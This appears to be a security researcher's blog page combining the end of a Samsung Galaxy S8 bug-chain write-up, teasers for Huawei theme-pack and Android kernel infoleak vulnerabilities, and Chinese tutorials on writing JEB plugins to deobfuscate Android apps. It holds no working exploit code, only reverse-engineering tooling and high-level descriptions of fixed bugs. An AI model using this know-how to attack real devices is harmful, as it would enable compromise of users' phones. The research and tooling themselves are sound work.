Due to the nature of this bug chain, we named it "Galaxy Leapfrogging" as each step of the chain is to find a new app to jump & pwn to gain additional privilege. All vulnerabilities have been tested on the newest Galaxy S8 at that time, samsung/dreamqltezc/dreamqltechn:7.0/NRD90M/G9500ZCU1AQF7:user/release-keys.

We would like to thank Samsung Mobile Security for their work on fixing these vulnerabilities, and I’d like to thank all former colleagues at KeenLab for our work together and the good old days.

Next

Following posts will be about other various security bugs I found on those Android vendors, stay tuned! My twitter: https://twitter.com/flanker_hqd

Note: Current status of isolated Webview

[1] Beginning with Android O, all apps by default runs their system webview in isolated context, which greatly stops "Leapfrogging". However, some apps are still running their own webview core like X5 and tbs in the same context, which still poses great risks and remains an attack surface

JEB2插件教程之一

JEB2发布有段时间了,相比于JEB1来说功能强大了很多,但是API也发生了巨大的变化,不仅是定义上也包括架构上,这给我们移植或者是新编写插件带来了一定不便, 目前也还没看到详细一些的API分析教程。本文以一个具体的应用分析为例,解释如何编写一个JEB2中处理混淆应用的插件,来实现自动识别和重命名。

案例

我们的样例APK是一个采用了比较剑走偏锋混淆的东西,其中绝大部分类名、函数名、field名都被替换成了包含lIi的字符串,如下截图所示:

obfuscated1 obfuscated2

这种给人工分析时追踪函数调用带来了不便,因为这些字符串字母长的都比较像,所以我们需要写一个JEB脚本来自动化重命名这些item。我们的逻辑如下:

  • 对于类:递归寻找它的父类和实现的接口。如果父类和接口包含了有意义的名字:例如SDK类Activity、不能混淆的类名MainActivity,以此为基础进行重命名
  • 对于Field:根据该Field的类型,重命名其名字
  • 对于函数:根据该函数的参数类型,重命名其名字

JEB2的API架构

由于JEB2试图成为像IDA那样的universal disassembler,其架构多了很多包装层。对于APK分析来说,关键的部分关系如下所示:

IProjectUnit -> ICodeUnit -> IJavaSourceUnit

IProjectUnit代表了整个workspace,一般我们只会使用project[0]

>>> engctx.getProjects()
[Project:{/xxx/xxx.apk.jdb2}]

ICodeUnit则代表了一个project中所有的可解析部分,如下面我们提到的,因为JEB2为各种架构都提供了统一包装层,ICodeUnit不再仅仅是dex或者jar,而还会包括了libraries中的各种native Library。

>>> units = RuntimeProjectUtil.findUnitsByType(prj, ICodeUnit, False)
>>> map(lambda x: print(x.name), units)
[u'Bytecode', u'arm64 image', u'arm image', u'arm image', u'mips image', u'x86 image', u'x86_64 image']

其中Bytecode项是对应的dex体. 其对应的ICodeUnit代表了整个dex, 已经提供了基本的类型信息,例如Class, Type, Method, Field, Package 使用者可以通过ICodeUnit.getClass/getMethod/getField获取到对应的ICodeClass/ICodeMethod/ICodeField. 但是这个层级的unit并没有提供class hierchy信息和具体的源代码AST信息,故我们还需要IJavaSourceUnit.

IJavaSourceUnit代表的是执行过反编译之后生成的Java源代码体,提供了更加丰富和细节的Java代码信息供使用. 其对应的AST元素为IJavaClass/IJavaMethod等等. 通过decompiler.decompile(icodeclass.getAddress())获取IJavaSourceUnit, 通过IJavaSourceUnit.getClassElement获取IJavaClass.

需要强调的是, ICodeUnit对应的是整个dex, 而IJavaSourceUnit对应的是单个反编译出的类.

自订操作

在JEB2中,用户操作(自定义操作)被统一包装在ActionContext类之下,类似于transaction的形势.API使用者提交各种ActionContext,并检查返回值是否成功.一个典型的重命名操作如下:

>>> actCntx = ActionContext(self.targetUnit, Actions.RENAME, clz.getItemId(), clz.getAddress())
    actData = ActionRenameData()
    actData.setNewName(newName)
    if codeUnit.prepareExecution(actCntx, actData):
        codeUnit.executeAction(actCntx, actData)

值的注意的是,这里的clz对象均为ICodeUnit调用getClass所查询出的ICodeClass类,而不是IJavaSourceUnit对应的IJavaClass. ActionContext作用的对象也是代表整个dex的ICodeUnit.

除了重命名操作之外, ActionContext还包括了COMMENT, CONVERT, CREATE_PACKAGE, DELETE, MOVE_TO_PACKAGE, QUERY_OVERRIDES, QUERY_TYPE_HIER, QUERY_XREFS, RENAME等操作, 其实就是我们在UI中右键所能执行的操作. 读者可能要问, 像QUEYR_TYPE_HIER这种操作, 通过IJavaSource解析AST不是也可以做? 我认为确实是这样, 这里可能还是为了给不同语言提供一个统一的抽象接口. 当然QUERY_XREFS顾名思义是获取到对应的引用, 这方便我们做一些callgraph的查询.

案例解析

如文章开头所示, 我们的目的是根据被混淆item的基类信息和类型信息/参数信息对其重命名. 主要逻辑如下:

for clz in codeunit.getClasses():
    if isObfuscated(clz):
        name = determineNameFromHierchy(clz) --->1
        rename(clz, name)
for field in codeUnit.getFields():
    if isObfuscated(field):
        name = determineNameByFieldType(field)
        rename(field, name)
for mtd in codeUnit.getMethods():
    if isObfuscated(mtd):
        name = determineNameByArgsType(field)
        rename(field, name)

例如, class IiIiIiIi是继承于class iIiIiIiI, 而iIiIiIiI又继承于Activity/实现了onClickListener, 那么我们就可以使用Activity/onClickListener作为基准重命名两个被混淆的类. 这里的关键在于一个递归获取基类的函数, 如下所示:

'''
clzElement is ICodeClass retrieved from ICodeUnit.getClass()
'''
def tryDetermineGodeName(self, clzElement):
    javaunit = self.decomp.decompile(clzElement.getAddress())
    clzElement = javaunit.getClassElement()
    #now clzElement is a IJavaClass
    if not isFuckingName(clzElement.getName()):
    #this is a non-obfuscated name, just return it
    return clzElement.getName()
    ssupers = clzElement.getImplementedInterfaces()
    supers = []
    supers.extend(ssupers)
    # do not directly append on returned list!
    superSig = clzElement.getSupertype().getSignature()
    supers.append(clzElement.getSupertype())
    for superItem in supers:
    sig = superItem.getSignature()
    if sig == "Ljava/lang/Object;":
        #extend from java/lang/Object gives us zero info
        #so try next
        continue
    if not isFuckingName(sig):
        #return first non-obfuscated name
        return sig
    resolvedType = self.targetUnit.getClass(sig)
    if resolvedType:
        #this is a concret class
        guessedName = self.tryDetermineGoodName(resolvedType)
        if guessedName:
        return guessedName
    else:
        #this is a SDK class
        return sig
    #cannot determine name from its supers, return None
    return None

相对来讲, method和field的重命名就简单了很多, 如附代码所示, 在此不再赘述.

这里还有一个小细节, 因为需要操作的类比较多, 我们将插件定义为后台运行, 这样可以不阻塞UI, 同时获得更好的log效果.

重命名后的效果如下:

deobfuscated 可以看到我们恢复出了较多可读信息. 完整代码: https://gist.github.com/flankerhqd/ca92b42f1f796763e5d1f8cd73247a30

总结

JEB2的API相对于JEB1组织层次更多, 也就没那么直观. 但有了初步了解之后, 也可以很快掌握使用方法. 测试版本: JEB2 2.3.4

Ref:

  1. http://blog.csdn.net/weixin_37556843/article/details/66476295
  2. https://www.pnfsoftware.com/jeb2/apidoc/reference/packages.html
  3. https://groups.google.com/forum/#!topic/jeb-decompiler

A theme pack to system privilege

Update: Huawei has assigned CVE-2017-2692, CVE-2017-2693

(中文版见 https://blog.flanker017.me/a-theme-to-system-in-emui/)

Download this theme pack, pwned with system shell?

Android users may be familiar with theme packs, which is a major advantage for Android over iOS. Two years ago we conducted a cooperation project with Huawei for digging vulnerabilities in Huawei’s EMUI3.1 and 4.0, with some vulnerabilities discovered, which of course had already been reported during the cooperation project and fixed.

Some of these bugs are quite interesting though, so I’d like to share it in a series of blogs. This blog will cover a vulnerability which can be initiated from both local and remote to get system privilege via malicious theme packs. If you download and install such a specially-crafted malicious theme from a third party channel, you will get pwned.

Continue reading

A theme to system in EMUI

装了这个主题包,就被拿system shell?

各位Android用户一定对主题包不陌生,这应该是Android相对于iOS可定制化的一大优势。 说到主题包,各位会想到什么?这个?

哦不对,跑题了。那这个?

好了又跑题了,下面是正文。两年前,我们对EMUI3.1&4.0做了一次漏洞挖掘合作项目,发现了一些问题,都已通过该合作项目报给了华为并得到了修复。 其中有些漏洞的挖掘和利用过程还是很有意思的,在这里总结成系列文章分享给大家。下面介绍的是一个通过下载安装恶意主题远程和本地均可以发起攻击拿到system权限的漏洞。在第三方渠道下载安装了这样一个特定构造的主题,手机就会被拿到system权限。

Continue reading

Some examples of kernel infoleak bugs on Android

Recently as KASLR is slowly adopted into Android and because of the requirements of exploitation stability of previous bugs, kernel infoleak bugs are becoming more and more important. Here I want to explain two infoleak bugs on Android, one found by me and is fixed now, and other one is a known and fixed bug but very useful as it exists on all android platforms.

Continue reading

Advanced Android Application Analysis Series – JEB API Manual and Plugin Writing

Android应用分析进阶教程之一- 初识JEBAPI

还在对着smali和jdgui抓耳挠腮grep来grep去吗?本系列教程将围绕Soot和JEB,讲述Android应用的进阶分析,感受鸟枪换炮的快感.

JEB是Android应用静态分析的de facto standard,除去准确的反编译结果、高容错性之外,JEB提供的API也方便了我们编写插件对源文件进行处理,实施反混淆甚至一些更高级的应用分析来方便后续的人工分析.本系列文章的前几篇将对JEB的API使用进行介绍,并实战如何利用开发者留下的蛛丝马迹去反混淆.先来看看我们最终编写的这个自动化反混淆插件实例的效果:

反混淆前: before-deobfus-1 before-deobfus-2 反混淆后: after-deobfus-1

after-deobfus-2 可以看到很多类名和field名都被恢复出来了. 读者朋友肯定会好奇这是如何做到的, 那我们首先来看下JEB提供API的结构:

JEB AST API结构

JEB的AST与Java的AST稍有不同,但大体还是很相似的,只是做了些简化.所有的AST Element实现jeb.api.ast.IElement,要么继承于jeb.api.ast.NonStatement,要么继承于jeb.api.ast.Statement.他们的关系如下图所示: ast-1

IElement定义了getSubElements,但不同类型的实现和返回结果也不同,例如对Method进行getSubElements调用的返回会是函数的参数定义语句和函数体block,而IfStmt会返回判断使用的Predicate和每一个if/else/ifelse语句块.而一个Assignment语句则会返回左右IExpression操作数,以及Operator操作符.具体编写脚本中我们通常并不使用这个函数,而根据具体类型定义的更细致的函数,例如Assignment提供的getLeftgetRight.

以下面的函数为例,我们来分析它具体由哪些AST元素组成.

boolean isZtz162(Ztz ztz)
{
boolean bool = true;
Redrain redrain = Redrain.getInstance("AnAn");                 if(redrain.canShoot())
{
redrain.shoot(163);
if(ztz.isDead()) { bool = false; }
}
 else if(ztz.height + Integer.parseInt(ztz.shoe) > 162)
 { bool = false; }
 return bool;
}

首先来看下NonStatement

NonStatement

在文档中, NonStatement的描述是Base class for AST elements that do not represent Statements. ,即所有不是Statement的AST结构继承于NonStatement,如下图所示: ast-2

NonStatementExpression的区别在于,NonStatement包含了一些高阶结构,例如jeb.api.ast.Class, jeb.api.ast.Method这些并不会出现在语句中的AST结构体,他们分别代表一个Class结构和Method结构,注意不要与反射语句中使用的Class和Method混淆.

Statement

Statement顾名思义就代表了一个语句,但值得注意的是这里的语句并不代表单个语句,继承于CompoundStatement中也可能包含其他的Statement.例如下面这段代码:

if(ztz.isDead())//redundant statement to demonstrate if-else { return false; }
else{ return true; }

这事实上是一整个继承于CompoundIfStm,也就是Statement.

Statement的继承关系图如下图所示, ast-3

CompoundStatement是最基本的语句结构,它的子节点只会由Expression构成而不会包含block. 例如Assignment,可以通过getLeftgetRight调用获得左右两边的操作对象,分别为ILeftExpressionIExpression.ILeftExpression代表可以做左值的Expression,例如变量.而常量显然不实现ILeftExpression接口

Compound

Compound代表多个语句集合的语法块集合,每一个语法块以Block(也是Compound的子类)呈现,通过getBlocks调用获得.所有分支语句均继承Compound,如下图所示: ast-4

在上面提到的例子中,IfStmt就是一个Compound,我们通过getBranchPredicate(idx)获取Predict,也就是ztz.isDead()这个Expression,而这个Expression真正的类型是子类Call.我们可以通过getBranchBody(idx)获取if和if-else中的Block,通过getDefaultBlock获取else的Block

IExpression

IExpression代表了最基本的AST节点,其实现关系如下图: ast-5

IExpression接口的实现者Expression类代表了算术和逻辑运算的语句片段,例如a+b, “162” + ztz.toString(), !ztz, redrain*(ztz-162)等等,同时Predicate类是Expression类的直接子类,譬如在if(ztz162)中,该语句的Predicate左值为ztz162这个identifier,右值为null.

ztz.test(1) + ”height" + 162这个Expression为例,其结构组成和各节点类型如下: jeb-expression-chart 值得注意的有如下几点: – Expression是从右到左的结构 – Call没有提供获取caller的API,不过可以通过getSubElements()获取,返回顺序为 – callee method – calling instance (if instance call) – calling arguments, one by one

InstanceField, StaticField和Field

三者的关系如下图所示: 1434640610408

InstanceFieldStaticField包含Field. InstanceField通过getInstance调用获取一个IExpression,也就是Field的container. Field本身是Class的元素,而InstanceFieldStaticField则是它的具体实例化.

实例Method分析

以我们上面提到的isZtz162函数为例,它的AST结构如下:

  • jeb.api.ast.Method (getName() == “isZtz162”) => getBody()
    • Block => block.get(i) //遍历block中的语句
      • Assignment “boolean bool = true” => getSubElements
        • Definition “boolean bool”
          • Identifier “bool”
        • Constant “true”
      • Assignment “Redrain redrain = Redrain.getInstance(“AnAn”);” => getSubElements
        • Definition => getSubElements (注意它是父assignment的getLeft返回结果(左值))
          • Identifier “redrain”
        • Call “Redrain.getInstance(“AnAn)”” (注意它是父assignment的getRight返回结果(右值))
          • …(omit)
      • IfStmt (Compound) => getBlocks()
        • Block (if block) => block.get(i) 遍历block中的语句
          • Call “redrain.shoot(163);”
          • IfStmt (Compound)
            • …omit
        • Block (elseif block) => block.get(i) 遍历block中的语句
          • Assignment “bool = false'”
          • ..omit

可以通过如下代码来递归打印一个Method中的各个Element: class test(IScript):

def run(self, j):
    self.instance = j
    sig = self.instance.getUI().getView(View.Type.JAVA).getCodePosition().getSignature()
    currentMethod = self.instance.getDecompiledMethodTree(sig)
    self.instance.print("scanning method: " + currentMethod.getSignature())
    body = currentMethod.getBody()
    self.instance.print(repr(body))
    for i in range(body.size()):
        self.viewElement(body.get(i),1)
def viewElement(self, element, depth):
    self.instance.print("    "*depth+repr(element))
    for sub in element.getSubElements():
        self.viewElement(sub, depth+1)

输出结果如下:

jeb.api.ast.Block@5909b311
    jeb.api.ast.Assignment@bcb4ec2
    jeb.api.ast.Definition@66afd874
        jeb.api.ast.Identifier@38ffa6bd
    jeb.api.ast.Constant@181bdf87
    jeb.api.ast.Assignment@4df0246e
    jeb.api.ast.Definition@50e7d9bb
        jeb.api.ast.Identifier@2587ad7c
    jeb.api.ast.Call@6e8ebb23
        jeb.api.ast.Method@5ca02f89
            jeb.api.ast.Definition@1890fae1
                jeb.api.ast.Identifier@5646d660
            jeb.api.ast.Block@44a464e0
        jeb.api.ast.Constant@4dad155
    jeb.api.ast.IfStm@298ea172
    jeb.api.ast.Predicate@530958ae
        jeb.api.ast.Call@a9d3219
            jeb.api.ast.Method@56440cc0
                jeb.api.ast.Definition@da13d7f
                    jeb.api.ast.Identifier@54cc63d6
                jeb.api.ast.Block@36aea218
            jeb.api.ast.Identifier@2587ad7c
    jeb.api.ast.Predicate@313f1b4
        jeb.api.ast.Expression@12616200
            jeb.api.ast.InstanceField@3768f76d
                jeb.api.ast.Identifier@4c4c3186
                jeb.api.ast.Field@198ed96b
            jeb.api.ast.Call@71640ce8
                jeb.api.ast.Method@5f8b8d80
                jeb.api.ast.InstanceField@42f6ff81
                    jeb.api.ast.Identifier@4c4c3186
                    jeb.api.ast.Field@6600907f
        jeb.api.ast.Constant@2f0eb62a
    jeb.api.ast.Block@6ed99788
        jeb.api.ast.Call@f6b9a93
            jeb.api.ast.Method@617130cd
                jeb.api.ast.Definition@4e3b14b5
                    jeb.api.ast.Identifier@8cc9f33
                jeb.api.ast.Definition@31e7d1c8
                    jeb.api.ast.Identifier@6a7dbb10
                jeb.api.ast.Block@64844e0e
            jeb.api.ast.Identifier@2587ad7c
            jeb.api.ast.Constant@2a20acb0
        jeb.api.ast.IfStm@47296c6b
            jeb.api.ast.Predicate@708d094c
                jeb.api.ast.Call@3b5d964e
                    jeb.api.ast.Method@7d36f954
                        jeb.api.ast.Definition@242b3a05
                            jeb.api.ast.Identifier@11ee30d0
                        jeb.api.ast.Block@2cc6b0e2
                    jeb.api.ast.Identifier@4c4c3186
            jeb.api.ast.Block@2886dc65
                jeb.api.ast.Assignment@2def7fac
                    jeb.api.ast.Identifier@38ffa6bd
                    jeb.api.ast.Constant@46a70cc3
    jeb.api.ast.Block@136fa72
        jeb.api.ast.Assignment@407452fd
            jeb.api.ast.Identifier@38ffa6bd
            jeb.api.ast.Constant@46a70cc3
    jeb.api.ast.Return@14f4811a
    jeb.api.ast.Identifier@38ffa6bd

对AST结构的分析就到这里,本文选取了几种最典型的做了讲解.此外JEB还提供了jeb.api.dex,提供了对dex文件的操作API.由于这方面资料比较多,这里就先不赘述了.

实例分析之开发环境配置

JEB原生支持Java和Python两种语言进行开发,后者的支持是通过Jython实现的.这里简便起见我们的例子均以Python为例.个人建议想使用前者的话最好使用Scala,否则Java本身实在太罗嗦了.

Java

在eclipse中配置好classpath中的library指向bin/jeb.jar,同时将javadoc路径指向jeb/doc/apidoc.zip即可.

1434639993696

1434639954618

1434639823928

1434639770823

Python

Python环境配置相对麻烦点,因为JEB并没有提供相对应的skeleton,导致Python的IDE中默认没有代码补全,需要自行配置.笔者使用了PyCharm的JythonHelper插件,可以帮助生成skeleton从而有基本的代码补全.

配置好环境后,我们来编写一个最简单的插件:输出光标所在位置的method signature,代码如下所示:

from jeb.api import IScript
from jeb.api.ui import View
class test(IScript):
    def run(self, j):
        self.instance = j
        sig = self.instance.getUI().getView(View.Type.JAVA).getCodePosition().getSignature()
        currentMethod = self.instance.getDecompiledMethodTree(sig)
        self.instance.print("scanning method: " + currentMethod.getSignature())

保存为test.py,点击File->Run Script->test.py, JEB就会在下面的console中输出当前光标所在函数的signature.

总结

本文介绍了JEB Java AST API的基本知识和插件编写入门,同时也可以作为一个APIDoc的补充参考.在下一篇文章中我们将会根据实例讲解如何编写高级的更复杂的插件. 源代码和测试样例在https://github.com/flankerhqd/jebPlugins可以找到。